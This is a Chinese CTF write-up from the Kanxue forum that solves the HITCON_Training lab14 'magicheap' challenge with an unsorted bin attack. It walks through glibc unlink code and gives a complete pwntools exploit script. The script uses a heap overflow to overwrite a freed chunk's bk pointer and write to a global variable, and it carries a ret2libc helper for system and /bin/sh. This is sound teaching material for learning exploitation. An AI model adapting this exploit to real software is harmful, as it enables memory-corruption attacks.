看雪论坛作者ID：直木
Challenge1 - HITCON_Training_lab14 - magicheap
实验环境：
1
运行查看
2
查看文件类型和保护机制
-
64位程序 -
开启了Canary和NX，关闭了PIE
$ file magicheapmagicheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7dbbc580bc50d383c3d8964b8fa0e56dbda3b5f1, not stripped$ checksec --file=magicheapRELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILEPartial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 87) Symbols No 0 2magicheap
3
IDA反编译分析
(1) main
由分析可知，当输入的choice==4869且存储在bss段的全局变量magic>0x1305时，就能打印出flag。注意到这里是要想办法让magic变成一个很大的数，而unsortedbin attack的攻击效果就是让任意地址的内容改成一个较大的数值，因此该题可以尝试unsortedbin attack。
(2) main->create_heap
(5) main->delete_heap
(6) 小结
-
漏洞点： -
edit_heap函数存在堆溢出漏洞 -
输入点： -
main函数输入choice -
create_heap函数输入chunk的user data部分的size和content -
edit_heap函数输入chunk的index，一个size（非chunk的userdata大小）和新的content -
delete_heap函数输入chunk的index -
思路： -
分析main函数的时候确定了尝试unsortedbin attack来修改全局变量magic的值，那么就要想办法在修改一个在unsortedbin里的free chunk的bk指针为0x6020b0。因为关闭了PIE，所以在.bss段的magic的地址是不变的。
这里顺带贴一下将chunk从unsortedbin取下来的过程：
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {bck = victim->bk;if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||__builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))malloc_printerr(check_action, "malloc(): memory corruption",chunk2mem(victim), av);size = chunksize(victim);/*If a small request, try to use last remainder if it is theonly chunk in unsorted bin. This helps promote locality forruns of consecutive small requests. This is the onlyexception to best-fit, and applies only when there isno exact fit for a small chunk.*//*如果bck被修改会不符合这里的要求*/if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&victim == av->last_remainder &&(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {....}/* remove from unsorted list */unsorted_chunks(av)->bk = bck;bck->fd = unsorted_chunks(av);
于是，当chunk1的bk被覆盖修改之后，从unsorted bin移除chunk的过程可总结如下：
-
victim = unsorted_chunks(av)->bk = chunk1-16
-
bck = victim->bk = chunk1->bk = target addr-16 -
unsorted_chunks(av)->bk = bck=target addr-16 -
bck->fd = *(target addr -16+16) = unsorted_chunks(av);
4
调试分析
(1) 模板和选项函数
from pwn import *from LibcSearcher import LibcSearcherfrom sys import argvdef ret2libc(leak, func, path=''):if path == '':libc = LibcSearcher(func, leak)base = leak - libc.dump(func)system = base + libc.dump('system')binsh = base + libc.dump('str_bin_sh')else:libc = ELF(path)base = leak - libc.sym[func]system = base + libc.sym['system']binsh = base + libc.search('/bin/sh').next()return (base, system, binsh)s = lambda data :p.send(str(data))sa = lambda delim,data :p.sendafter(delim, str(data))sl = lambda data :p.sendline(str(data))sla = lambda delim,data :p.sendlineafter(delim, str(data))r = lambda num=4096 :p.recv(num)ru = lambda delims, drop=True :p.recvuntil(delims, drop)uu64 = lambda data :u64(data.ljust(8,' '))leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))context.log_level = 'DEBUG'binary = './magicheap'context.binary = binaryelf = ELF(binary,checksec=False)#p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)p = process(binary)libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)def dbg():gdb.attach(p)pause()def create(size, content):ru("choice :")sl("1")ru("Heap : ")sl(str(size))ru("heap:")sl(content)def edit(idx, size, content):ru("choice :")sl("2")ru("Index :")sl(str(idx))ru("Heap : ")sl(str(size))ru("heap : ")sl(content)def delete(idx):ru("choice :")sl("3")ru("Index :")sl(str(idx))p.interactive()
(2) malloc三个smallbin chunk并释放中间的chunk1
create(300,'a'*300) # 0create(400,'a'*400) # 1create(500,'a'*500) # 2delete(1)#dbg()
(3) 修改chunk1的bk
fake_chunk_addr = 0x6020b0# chunk0 user data + chunk1 prev size + chunk1 size + chunk1 fd + &magic-4payload = 'b'*0x130+p64(0)+p64(0x1a1)+p64(0)+p64(fake_chunk_addr)edit(0,700,payload)dbg()
(4) 再次malloc chunk1以修改magic的值
create(400,'c'*400)dbg()
(5) 输入指定choice得到flag
ru("choice :")sl(str(4869))ru("Congrt !n")flag = ru("n")print(flag)
5
完整Exp
from pwn import *from LibcSearcher import LibcSearcherfrom sys import argvdef ret2libc(leak, func, path=''):if path == '':libc = LibcSearcher(func, leak)base = leak - libc.dump(func)system = base + libc.dump('system')binsh = base + libc.dump('str_bin_sh')else:libc = ELF(path)base = leak - libc.sym[func]system = base + libc.sym['system']binsh = base + libc.search('/bin/sh').next()return (base, system, binsh)s = lambda data :p.send(str(data))sa = lambda delim,data :p.sendafter(delim, str(data))sl = lambda data :p.sendline(str(data))sla = lambda delim,data :p.sendlineafter(delim, str(data))r = lambda num=4096 :p.recv(num)ru = lambda delims, drop=True :p.recvuntil(delims, drop)uu64 = lambda data :u64(data.ljust(8,' '))leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))context.log_level = 'DEBUG'binary = './magicheap'context.binary = binaryelf = ELF(binary,checksec=False)#p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)p = process(binary)libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)def dbg():gdb.attach(p)pause()def create(size, content):ru("choice :")sl("1")ru("Heap : ")sl(str(size))ru("heap:")sl(content)def edit(idx, size, content):ru("choice :")sl("2")ru("Index :")sl(str(idx))ru("Heap : ")sl(str(size))ru("heap : ")sl(content)def delete(idx):ru("choice :")sl("3")ru("Index :")sl(str(idx))create(300,'a'*300) # 0create(400,'a'*400) # 1create(500,'a'*500) # 2delete(1)#dbg()fake_chunk_addr = 0x6020b0# chunk0 user data + chunk1 prev size + chunk1 size + chunk1 fd + &magic-4payload = 'b'*0x130+p64(0)+p64(0x1a1)+p64(0)+p64(fake_chunk_addr)edit(0,700,payload)#dbg()create(400,'c'*400)#dbg()ru("choice :")sl(str(4869))ru("Congrt !n")flag = ru("n")print(flag)p.interactive()
这一题还是比较简单的。做完之后我去看ctfwiki的题解，感觉我的脑袋僵硬了:( -> malloc的三个chunk，只要保证第二个chunk在释放的时候会放到unsorted bin里去就可以了，不需要三个都是smallbin chunk。
参考文献：
看雪ID：直木
https://bbs.pediy.com/user-home-830671.htm
*本文由看雪论坛 直木 原创，转载请注明来自看雪社区
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”，了解更多！
本文始发于微信公众号（看雪学院）：Pwn堆利用学习——Unsortedbin Attack——HITCON_Training_lab14_magicheap
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论